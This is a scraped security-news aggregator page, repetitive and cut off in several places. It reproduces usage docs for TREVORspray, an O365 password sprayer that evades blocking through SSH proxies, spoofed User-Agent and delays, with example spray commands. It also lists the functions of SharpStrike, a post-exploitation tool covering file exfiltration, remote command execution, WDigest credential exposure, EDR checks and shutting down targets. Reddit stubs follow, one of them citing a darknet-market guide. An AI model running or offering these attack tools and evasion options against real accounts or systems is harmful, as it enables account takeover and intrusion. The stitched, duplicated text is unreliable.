Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux TutorialsTREVORspray : A Featureful Round-Robin SOCKS Proxy And Python O365 Sprayer Based On MSOLSpray Which Uses The Microsoft Graph API
TREVORspray is a A featureful Python O365 sprayer based on MSOLSpray which uses the Microsoft Graph API. TREVORproxy is a SOCKS proxy that round-robins requests through SSH hosts.
Microsoft is getting better and better about blocking password spraying attacks against O365. TREVORspray can solve this by proxying its requests through an unlimited number of
CREDIT WHERE CREDIT IS DUE – MANY THANKS TO:
* @dafthack for writing MSOLSpray
* @Mrtn9 for his Python port of MSOLSpray
* @KnappySqwurl for being a splunk wizard and showing me how heckin loud I was being
Features
* Tells you the status of each account: if it exists, is locked, has MFA enabled, etc.
* Automatic cancel/resume (attempted user/pass combos are remembered in
* Round-robin proxy through multiple IPs using only vanilla
* Automatic infinite reconnect/retry if a proxy goes down (or if you lose internet)
* Spoofs
* Logs everything to
* Saves valid usernames to
* Optional
Installation
$ git clone https://github.com/blacklanternsecurity/trevorspray
$ cd trevorspray
$ pip install -r requirements.txt
Example: Spray O365 with 5-second delay between requests
$ trevorspray.py -e bob@evilcorp.com -p Fall2020! –delay 5
Example: Spray O365 and round-robin between 3 IPs (the current IP is used as well.)
$ trevorspray.py -e emails.txt -p Fall2020! –ssh root@1.2.3.4 root@4.3.2.1
TREVORspray – Help
$ ./trevorspray.py –help
usage: trevorspray.py [-h] -e EMAILS [EMAILS …] -p PASSWORDS [PASSWORDS …] [-f] [-d DELAY] [-u URL] [-v] [-s SSH [SSH …]] [-k KEY] [-b BASE_PORT] [-n]
Execute password sprays against O365, optionally proxying the traffic through SSH hosts
optional arguments:
-h, –help show this help message and exit
-e EMAILS [EMAILS …], –emails EMAILS [EMAILS …]
Emails(s) and/or file(s) filled with emails
-p PASSWORDS [PASSWORDS …], –passwords PASSWORDS [PASSWORDS …]
Password(s) that will be used to perform the password spray
-f, –force Forces the spray to continue and not stop when multiple account lockouts are detected
-d DELAY, –delay DELAY
Sleep for this many seconds between requests
-u URL, –url URL The URL to spray against (default is https://login.microsoft.com)
-v, –verbose Show which proxy is being used for each request
-s SSH [SSH …], –ssh SSH [SSH …]
Round-robin load-balance through these SSH hosts (user@host) NOTE: Current IP address is also used once per round
-k KEY, –key KEY Use this SSH key when connecting to proxy hosts
-b BASE_PORT, –base-port BASE_PORT
Base listening port to use for SOCKS proxies
-n, –no-current-ip Don’t spray from the current IP, only use SSH proxies
Known Limitations
* Untested on Windows
* Currently only works against the M$ Graph API
TREVORproxy – Help
$ ./trevorproxy.py –help
usage: trevorproxy.py [-h] [-p PORT] [-l LISTEN_ADDRESS] [-v] [-k KEY] [–base-port BASE_PORT] ssh_hosts [ssh_hosts …]
Spawns a SOCKS server which round-robins requests through the specified SSH hosts
positional arguments:
ssh_hosts Round-robin load-balance through these SSH hosts (user@host)
optional arguments:
-h, –help show this help message and exit
-p PORT, &[...]
TREVORspray is a A featureful Python O365 sprayer based on MSOLSpray which uses the Microsoft Graph API. TREVORproxy is a SOCKS proxy that round-robins requests through SSH hosts.
Microsoft is getting better and better about blocking password spraying attacks against O365. TREVORspray can solve this by proxying its requests through an unlimited number of
--ssh hosts. No weird dependencies or cumbersome setup required – all you need is a cloud VM with port 22 open.CREDIT WHERE CREDIT IS DUE – MANY THANKS TO:
* @dafthack for writing MSOLSpray
* @Mrtn9 for his Python port of MSOLSpray
* @KnappySqwurl for being a splunk wizard and showing me how heckin loud I was being
Features
* Tells you the status of each account: if it exists, is locked, has MFA enabled, etc.
* Automatic cancel/resume (attempted user/pass combos are remembered in
./logs/tried_logins.txt)* Round-robin proxy through multiple IPs using only vanilla
--ssh* Automatic infinite reconnect/retry if a proxy goes down (or if you lose internet)
* Spoofs
User-Agent and client_id to look like legitimate auth traffic* Logs everything to
./logs/trevorspray.log* Saves valid usernames to
./logs/valid_usernames.txt* Optional
--delay between request to bypass M$ lockout countermeasuresInstallation
$ git clone https://github.com/blacklanternsecurity/trevorspray
$ cd trevorspray
$ pip install -r requirements.txt
Example: Spray O365 with 5-second delay between requests
$ trevorspray.py -e bob@evilcorp.com -p Fall2020! –delay 5
Example: Spray O365 and round-robin between 3 IPs (the current IP is used as well.)
$ trevorspray.py -e emails.txt -p Fall2020! –ssh root@1.2.3.4 root@4.3.2.1
TREVORspray – Help
$ ./trevorspray.py –help
usage: trevorspray.py [-h] -e EMAILS [EMAILS …] -p PASSWORDS [PASSWORDS …] [-f] [-d DELAY] [-u URL] [-v] [-s SSH [SSH …]] [-k KEY] [-b BASE_PORT] [-n]
Execute password sprays against O365, optionally proxying the traffic through SSH hosts
optional arguments:
-h, –help show this help message and exit
-e EMAILS [EMAILS …], –emails EMAILS [EMAILS …]
Emails(s) and/or file(s) filled with emails
-p PASSWORDS [PASSWORDS …], –passwords PASSWORDS [PASSWORDS …]
Password(s) that will be used to perform the password spray
-f, –force Forces the spray to continue and not stop when multiple account lockouts are detected
-d DELAY, –delay DELAY
Sleep for this many seconds between requests
-u URL, –url URL The URL to spray against (default is https://login.microsoft.com)
-v, –verbose Show which proxy is being used for each request
-s SSH [SSH …], –ssh SSH [SSH …]
Round-robin load-balance through these SSH hosts (user@host) NOTE: Current IP address is also used once per round
-k KEY, –key KEY Use this SSH key when connecting to proxy hosts
-b BASE_PORT, –base-port BASE_PORT
Base listening port to use for SOCKS proxies
-n, –no-current-ip Don’t spray from the current IP, only use SSH proxies
Known Limitations
* Untested on Windows
* Currently only works against the M$ Graph API
TREVORproxy – Help
$ ./trevorproxy.py –help
usage: trevorproxy.py [-h] [-p PORT] [-l LISTEN_ADDRESS] [-v] [-k KEY] [–base-port BASE_PORT] ssh_hosts [ssh_hosts …]
Spawns a SOCKS server which round-robins requests through the specified SSH hosts
positional arguments:
ssh_hosts Round-robin load-balance through these SSH hosts (user@host)
optional arguments:
-h, –help show this help message and exit
-p PORT, &[...]
Hacking Articles Tips Tricks Videos Tutorials
Kali Linux TutorialsTREVORspray : A Featureful Round-Robin SOCKS Proxy And Python O365 Sprayer Based On MSOLSpray Which Uses The Microsoft Graph API TREVORspray is a A featureful Python O365 sprayer based on MSOLSpray which uses the Microsoft…
#8211;port PORT Port for SOCKS server to listen on (default: 1080)
-l LISTEN_ADDRESS, –listen-address LISTEN_ADDRESS
Listen address for SOCKS server (default: 127.0.0.1)
-v, –verbose Print extra debugging info
-k KEY, –key KEY Use this SSH key when connecting to proxy hosts
–base-port BASE_PORT
Base listening port to use for SOCKS proxies
Download
-l LISTEN_ADDRESS, –listen-address LISTEN_ADDRESS
Listen address for SOCKS server (default: 127.0.0.1)
-v, –verbose Print extra debugging info
-k KEY, –key KEY Use this SSH key when connecting to proxy hosts
–base-port BASE_PORT
Base listening port to use for SOCKS proxies
Download
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux TutorialsSharpStrike : A Post Exploitation Tool Written In C# Uses Either CIM Or WMI To Query Remote Systems
SharpStrike is a post-exploitation tool written in C# that uses either CIM or WMI to query remote systems. It can use provided credentials or the current user’s session.
Note: Some commands will use PowerShell in combination with WMI, denoted with ** in the
Introduction
SharpStrike is a C# rewrite and expansion on @Matt_Grandy_’s CIMplant and @christruncer’s WMImplant.
SharpStrike allows you to gather data about a remote system, execute commands, exfil data, and more. The tool allows connections using Windows Management Instrumentation, WMI, or Common Interface Model, CIM ; well more accurately Windows Management Infrastructure, MI. CIMplant requires local administrator permissions on the target system.
Setup
It’s probably easiest to use the built version under Releases, just note that it is compiled in Debug mode. If you want to build the solution yourself, follow the steps below.
1. Load SharpStrike.sln into Visual Studio
2. Go to Build at the top and then Build Solution if no modifications are wanted
The Build will produce two versions of SharpStrike: GUI (WinForms) & Console application. Each version implements the same features.
Usage
Console Version:
SharpStrike.exe –help
SharpStrike.exe –show-commands
SharpStrike.exe –show-examples
SharpStrike.exe -c ls_domain_admins
SharpStrike.exe -c ls_domain_users_list
SharpStrike.exe -c cat -f “c:\users\user\desktop\file.txt” -s [remote IP address]
SharpStrike.exe -c cat -f “c:\users\user\desktop\file.txt” -s [remote IP address] -u [username] -d [domain] -p [password] -c
SharpStrike.exe -c command_exec -e “quser” -s [remote IP address] -u [username] -d [domain] -p [password]
GUI version:
show-commands
show-examples
ls_domain_admins
ls_domain_users_list
cat -f “c:\users\user\desktop\file.txt” -s [remote IP address]
cat -f “c:\users\user\desktop\file.txt” -s [remote IP address] -u [username] -d [domain] -p [password]
command_exec -e “quser” [remote IP address] -u [username] -d [domain] -p [password]
Functions
File Operations
cat – Reads the contents of a file
copy – Copies a file from one location to another
download** – Download a file from the targeted machine
ls – File/Directory listing of a specific directory
search – Search for a file on a user
upload** – Upload a file to the targeted machine
Lateral Movement Facilitation
command_exec** – Run a command line command and receive the output. Run with nops flag to disable PowerShell
disable_wdigest – Sets the registry value for UseLogonCredential to zero
enable_wdigest – Adds registry value UseLogonCredential
disable_winrm** – Disables WinRM on the targeted system
enable_winrm** – Enables WinRM on the targeted system
reg_mod – Modify the registry on the targeted machine
reg_create – Create the registry value on the targeted machine
reg_delete – Delete the registry on the targeted machine
remote_posh** – Run a PowerShell script on a remote machine and receive the output
sched_job – Not implimented due to the Win32_ScheduledJobs accessing an outdated API
service_mod – Create, delete, or modify system services
ls_domain_users* – List domain users ls_domain_users_list* – List domain users sAMAccountName
ls_domain_users_email* – List domain users email address ls_domain_groups* – List domain user groups
ls_domain_admins* – List domain admin users ls_user_groups* – List domain user with their associated groups
ls_computers*** – List computers on current domain
Process Ope[...]
SharpStrike is a post-exploitation tool written in C# that uses either CIM or WMI to query remote systems. It can use provided credentials or the current user’s session.
Note: Some commands will use PowerShell in combination with WMI, denoted with ** in the
--show-commands command.Introduction
SharpStrike is a C# rewrite and expansion on @Matt_Grandy_’s CIMplant and @christruncer’s WMImplant.
SharpStrike allows you to gather data about a remote system, execute commands, exfil data, and more. The tool allows connections using Windows Management Instrumentation, WMI, or Common Interface Model, CIM ; well more accurately Windows Management Infrastructure, MI. CIMplant requires local administrator permissions on the target system.
Setup
It’s probably easiest to use the built version under Releases, just note that it is compiled in Debug mode. If you want to build the solution yourself, follow the steps below.
1. Load SharpStrike.sln into Visual Studio
2. Go to Build at the top and then Build Solution if no modifications are wanted
The Build will produce two versions of SharpStrike: GUI (WinForms) & Console application. Each version implements the same features.
Usage
Console Version:
SharpStrike.exe –help
SharpStrike.exe –show-commands
SharpStrike.exe –show-examples
SharpStrike.exe -c ls_domain_admins
SharpStrike.exe -c ls_domain_users_list
SharpStrike.exe -c cat -f “c:\users\user\desktop\file.txt” -s [remote IP address]
SharpStrike.exe -c cat -f “c:\users\user\desktop\file.txt” -s [remote IP address] -u [username] -d [domain] -p [password] -c
SharpStrike.exe -c command_exec -e “quser” -s [remote IP address] -u [username] -d [domain] -p [password]
GUI version:
show-commands
show-examples
ls_domain_admins
ls_domain_users_list
cat -f “c:\users\user\desktop\file.txt” -s [remote IP address]
cat -f “c:\users\user\desktop\file.txt” -s [remote IP address] -u [username] -d [domain] -p [password]
command_exec -e “quser” [remote IP address] -u [username] -d [domain] -p [password]
Functions
File Operations
cat – Reads the contents of a file
copy – Copies a file from one location to another
download** – Download a file from the targeted machine
ls – File/Directory listing of a specific directory
search – Search for a file on a user
upload** – Upload a file to the targeted machine
Lateral Movement Facilitation
command_exec** – Run a command line command and receive the output. Run with nops flag to disable PowerShell
disable_wdigest – Sets the registry value for UseLogonCredential to zero
enable_wdigest – Adds registry value UseLogonCredential
disable_winrm** – Disables WinRM on the targeted system
enable_winrm** – Enables WinRM on the targeted system
reg_mod – Modify the registry on the targeted machine
reg_create – Create the registry value on the targeted machine
reg_delete – Delete the registry on the targeted machine
remote_posh** – Run a PowerShell script on a remote machine and receive the output
sched_job – Not implimented due to the Win32_ScheduledJobs accessing an outdated API
service_mod – Create, delete, or modify system services
ls_domain_users* – List domain users ls_domain_users_list* – List domain users sAMAccountName
ls_domain_users_email* – List domain users email address ls_domain_groups* – List domain user groups
ls_domain_admins* – List domain admin users ls_user_groups* – List domain user with their associated groups
ls_computers*** – List computers on current domain
Process Ope[...]
Hacking Articles Tips Tricks Videos Tutorials
Kali Linux TutorialsSharpStrike : A Post Exploitation Tool Written In C# Uses Either CIM Or WMI To Query Remote Systems SharpStrike is a post-exploitation tool written in C# that uses either CIM or WMI to query remote systems. It can use provided credentials…
rations
process_kill – Kill a process via name or process id on the targeted machine
process_start – Start a process on the targeted machine
ps – Process listing
System Operations
active_users – List domain users with active processes on the targeted system
basic_info – Used to enumerate basic metadata about the targeted system
drive_list – List local and network drives
share_list – List network shares
ifconfig – Receive IP info from NICs with active network connections
installed_programs – Receive a list of the installed programs on the targeted machine
logoff – Log users off the targeted machine
reboot (or restart) – Reboot the targeted machine
power_off (or shutdown) – Power off the targeted machine
vacant_system – Determine if a user is away from the system
edr_query – Query the local or remote system for EDR vendors
Log Operations
logon_events – Identify users that have logged onto a system
All PowerShell can be disabled by using the –nops flag, although some commands will not execute (upload/download, enable/disable WinRM)
** Denotes PowerShell usage (either using a PowerShell Runspace or through Win32_Process::Create method)
*** Denotes LDAP usage – “root\directory\ldap” namespace
Solution Architecture
SharpStrike is composed of three main projects
* ServiceLayer — Provides core functionality and consumed by the UI layer
* Models — Contains types, shared across all projects
* User Interface — GUI/Console
ServiceLayer
* Connector.cs
This is where the initial CIM/WMI connections are made and passed to the rest of the application
* ExecuteWMI.cs
All function code for the WMI commands
* ExecuteCIM.cs
All function code for the CIM (MI) commands
Download
process_kill – Kill a process via name or process id on the targeted machine
process_start – Start a process on the targeted machine
ps – Process listing
System Operations
active_users – List domain users with active processes on the targeted system
basic_info – Used to enumerate basic metadata about the targeted system
drive_list – List local and network drives
share_list – List network shares
ifconfig – Receive IP info from NICs with active network connections
installed_programs – Receive a list of the installed programs on the targeted machine
logoff – Log users off the targeted machine
reboot (or restart) – Reboot the targeted machine
power_off (or shutdown) – Power off the targeted machine
vacant_system – Determine if a user is away from the system
edr_query – Query the local or remote system for EDR vendors
Log Operations
logon_events – Identify users that have logged onto a system
All PowerShell can be disabled by using the –nops flag, although some commands will not execute (upload/download, enable/disable WinRM)
** Denotes PowerShell usage (either using a PowerShell Runspace or through Win32_Process::Create method)
*** Denotes LDAP usage – “root\directory\ldap” namespace
Solution Architecture
SharpStrike is composed of three main projects
* ServiceLayer — Provides core functionality and consumed by the UI layer
* Models — Contains types, shared across all projects
* User Interface — GUI/Console
ServiceLayer
* Connector.cs
This is where the initial CIM/WMI connections are made and passed to the rest of the application
* ExecuteWMI.cs
All function code for the WMI commands
* ExecuteCIM.cs
All function code for the CIM (MI) commands
Download
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
What happened when I found I 40-year-old program and realized it was something I wrote.
https://external-preview.redd.it/niEBGiBDN8yLjr-mqvhvFgTLy6evbPkpeFxyXm8mi_0.jpg?width=640&crop=smart&auto=webp&s=bfff81dbd3b55770c71c60883e8550b555f77da6 submitted by /u/mad_ned
[link] [comments]
What happened when I found I 40-year-old program and realized it was something I wrote.
https://external-preview.redd.it/niEBGiBDN8yLjr-mqvhvFgTLy6evbPkpeFxyXm8mi_0.jpg?width=640&crop=smart&auto=webp&s=bfff81dbd3b55770c71c60883e8550b555f77da6 submitted by /u/mad_ned
[link] [comments]
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
High-Severity RCE Vulnerability Found in Several Netgear Routers
https://external-preview.redd.it/VYsrwupb3q1HSXHAxVpxzKyiXrWQDV_oqyzEK3kLS-Y.jpg?width=640&crop=smart&auto=webp&s=6ea3a939018f4ab2427d7285f0e047027212be47 submitted by /u/george-alexander2k
[link] [comments]
High-Severity RCE Vulnerability Found in Several Netgear Routers
https://external-preview.redd.it/VYsrwupb3q1HSXHAxVpxzKyiXrWQDV_oqyzEK3kLS-Y.jpg?width=640&crop=smart&auto=webp&s=6ea3a939018f4ab2427d7285f0e047027212be47 submitted by /u/george-alexander2k
[link] [comments]
AWS WAF analysis: How it works and how to attack it
https://thexssrat.medium.com/aws-waf-analysis-how-it-works-and-how-to-attack-it-8a456e561c74?source=rss------bug_bounty-5
https://thexssrat.medium.com/aws-waf-analysis-how-it-works-and-how-to-attack-it-8a456e561c74?source=rss------bug_bounty-5
Deep Web
Booting TAILS using a HP v212w Flash Drive USB Stick (2.0 USB)
Hello, I'm new....
I've recently brought myself a HP v212w Flash Drive USB Stick and I'm tempted of using it specifically for booting TAILS onto my laptop only and I was wondering whether this specific USB stick would work for this intended use.
The reason on why I am asking this is because on the DNM Bible it states that some USBs are problematic for booting TAILS and provides a list but I can't access that list because the DNM subreddit was banned.
submitted by /u/7Leviathan7
[link] [comments]
Booting TAILS using a HP v212w Flash Drive USB Stick (2.0 USB)
Hello, I'm new....
I've recently brought myself a HP v212w Flash Drive USB Stick and I'm tempted of using it specifically for booting TAILS onto my laptop only and I was wondering whether this specific USB stick would work for this intended use.
The reason on why I am asking this is because on the DNM Bible it states that some USBs are problematic for booting TAILS and provides a list but I can't access that list because the DNM subreddit was banned.
submitted by /u/7Leviathan7
[link] [comments]
reddit
Booting TAILS using a HP v212w Flash Drive USB Stick (2.0 USB)
Hello, I'm new.... I've recently brought myself a HP v212w Flash Drive USB Stick and I'm tempted of using it specifically for booting TAILS onto...